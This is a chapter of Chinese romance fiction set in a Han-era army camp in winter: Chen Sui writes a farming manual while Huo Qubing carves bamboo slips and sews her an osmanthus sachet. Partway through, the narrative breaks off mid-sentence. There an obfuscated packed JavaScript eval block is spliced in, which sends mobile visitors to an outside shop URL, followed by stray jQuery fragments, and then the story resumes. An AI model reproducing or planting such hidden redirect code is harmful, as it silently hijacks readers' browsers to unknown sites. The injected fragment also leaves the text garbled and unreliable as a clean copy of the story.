那年冬天来得比往年早。
第一场霜落下来的时候陈穗正坐在帐里写东西。她听见外面草帘边缘传来细碎的冻结声响，像有人拿细沙在布面上慢慢扫过。她放下笔走到门口掀帘往外看——地面铺了一层薄薄的白，月光照在上面把整片营地都镀成了暗淡的银色。她站在门口看了一会儿冷空气扑在脸上让她清醒了不少，她把帘子放回原处回到桌边坐下继续写。
入冬之后她在帐里的时间变长了。霍去病在营地里处理军务的间隙，会先把水车的防冻罩装好，把渠道里残存的水排干净，然后回来坐在她旁边。两人各自忙各自的事情——她写屯田手稿，从第一年在盐碱地里摸土开始写起，把每一个步骤拆开记录在麻布片上：草木灰的配比、沟播法的深度、沤肥的时间、水车的角度调整。他坐在旁边削竹片，刀锋在竹面上推过去的时候发出细而均匀的沙沙声，像一种安静的节拍器。他削完之后刻麦穗，每一片竹片上都刻一株，穗头饱满、麦芒细长，跟以前刻的那片一样，但更熟练了——线条流畅、轮廓清晰，每一根麦芒都有各自的方向。
她写累了就抬头看他一眼，他的手指握着刀柄的姿势很稳，刀锋贴着竹面慢慢推进，碎屑从边缘落下来堆在桌角。她看着看着就忘了自己在看什么，直到他停了刀抬头看她，她才低头继续写。
冬夜漫长。两人坐在灯下各自做各自的事，偶尔交谈几句，内容都不长——“今天外面冷吗？”“冷。但草帘盖得够厚，冻不到根。”“你那卷手稿写到哪一年了？”“写到第二年种野麦选育那一章。”对话断断续续的，像被夜风切成一段一段，但每一段都落在合适的位置上，不重不轻。窗外落雪了，薄薄一层，无声地覆在草帘和营帐顶上，第二天早上推帘出去的时候会看到整片营地都白了一截，水车的轮廓被雪描了一圈，田埂的边缘变得模糊柔软，像有人拿白布把所有的棱角都包了一遍。她站在门口看了一会儿雪，他端着热水从主帐方向走过来了，把水递到她手里，然后也站在她旁边看雪。
“今年雪下得早。”他说。
“嗯。”她捧着热水喝了一口，“麦子盖上草帘了？”
“盖完了。北面那块加了一层。”她低头又喝了一口热水，他站在她旁边看雪，两人没有说话，肩膀挨着肩膀。
白天的时候他会去营地各处巡视防冻措施，回来之后跟她说哪里需要加固、哪里的草帘被风掀了角、哪一段渠道需要重新清理。她听着他把这些细节一五一十说完，觉得哪怕她没有亲自去地里看也能在脑子里拼出整片冬日的画面。
她手稿写到中途停了笔，隔着衣料摸了一下肚子。肚子里那粒种子现在已经能感觉到动静了——轻轻的、持续的，像有什么东西在用极小的力度敲着同一个位置。“你摸一下。”她说。霍去病放下手里的竹片和刻刀，把手伸过来覆在她腹前隔着一层衣料。他的手掌干燥而温热，贴在她腹前的时候她能感觉到他的心跳从指尖传过来，很轻，但持续着。过了一会儿他收回手继续削竹片，什么也没说。但她注意到他握刀的那只手比刚才松了一些，像有什么紧绷的东西被悄悄放平了。
有一晚她睡到一半忽然醒了。帐里很暗，灯已经熄了，只有一点残存的余热从炭盆方向渗过来。她侧过头看到旁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17920822|213459||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
边的位置是空的，他的人不在枕边。她抬眼透过微光看向桌案方向——他正坐在灯下，背对着她，面前摊着一块帛布在折什么东西。他的动作很轻，手指捏着帛布边缘慢慢对折，折痕压平，再折一道，像在完成一件很细致的活计。她眯着眼从微光里看着他模糊的背影，没有出声，又把眼睛闭上了。她听着他在灯下继续折了片刻，然后吹了灯，轻轻躺回她旁边。
第二天早上她起来的时候枕边放着一只小小的布袋。浅灰色麻布做的，袋口系着一根细细的红绳，布料柔软，边缘缝得整整齐齐。她拿起来的时候闻到一股淡淡的桂花香气从布面渗出来，干燥、温暖、收敛的甜。她解开红绳看了一眼，里面装着一把干桂花，金褐色的碎粒在袋子里轻轻晃动，像把一小片秋天收起来留到了冬天。她把袋子系好挂在了腰间，走路的时候它随着她的步伐轻轻晃着，桂花的气味时不时被体温蒸出来散在她周围。
那天她一整天都戴着那只布袋，翻手稿的时候它在腰间晃，站起来倒水的时候它在衣摆旁轻摆，她低头看它的时候会想起他半夜坐在灯下背对着她折布的画面——他没有点大灯只用了一盏小油灯，灯芯压得极低，光只够照亮他的手指和那块帛布。他大概是怕光太亮把她吵醒了。
冬夜还在继续。外面雪又落了一场，把整片营地覆盖得更厚了。水车停了，麦田在草帘和雪层下面安安静静地冬眠着。她坐在灯下继续写手稿，他坐在旁边继续削竹片，腰间的桂花布袋跟着她翻页的动作轻轻晃动，像一粒种子跟着风的轨迹慢慢调整自己的方向。她写累了搁下笔，伸手碰了一下那只布袋，然后继续写。